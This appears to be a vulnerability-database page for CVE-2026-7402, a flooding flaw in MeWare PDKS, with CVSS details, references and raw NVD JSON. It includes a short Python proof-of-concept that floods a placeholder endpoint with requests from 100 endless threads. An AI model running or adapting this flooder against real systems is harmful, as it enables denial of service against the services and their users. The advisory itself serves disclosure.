CVE-2026-7402

Description

Improper Control of Interaction Frequency vulnerability in MeWare Software Development Inc. PDKS allows Flooding. This issue affects PDKS: from V16.20200313 before VMYR_3.5.2025117.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MeWare PDKS V16.20200313

MeWare PDKS < VMYR_3.5.2025117

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import threading

# CVE-2026-7402 PoC Concept
# Target: MeWare PDKS < VMYR_3.5.2025117
# Description: This script demonstrates the flooding vulnerability by sending multiple requests.

target_url = "http://target-ip:port/vulnerable_endpoint"

def send_flood():
    try:
        while True:
            # Exploit the lack of interaction frequency control
            requests.get(target_url, timeout=2)
    except Exception as e:
        print(f"Error: {e}")

# Start multiple threads to simulate flooding
for i in range(100):
    t = threading.Thread(target=send_flood)
    t.start()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7402
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7402
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7402/
[4] VulDB https://vuldb.com/cve/CVE-2026-7402
[5] https://www.usom.gov.tr/bildirim/tr-26-0141

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7402", "sourceIdentifier": "[email protected]", "published": "2026-04-30T13:16:06.597", "lastModified": "2026-04-30T15:09:03.710", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Interaction Frequency vulnerability in MeWare Software Development Inc. PDKS allows Flooding.\n\nThis issue affects PDKS: from V16.20200313 before VMYR_3.5.2025117."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-799"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-26-0141", "source": "[email protected]"}]}}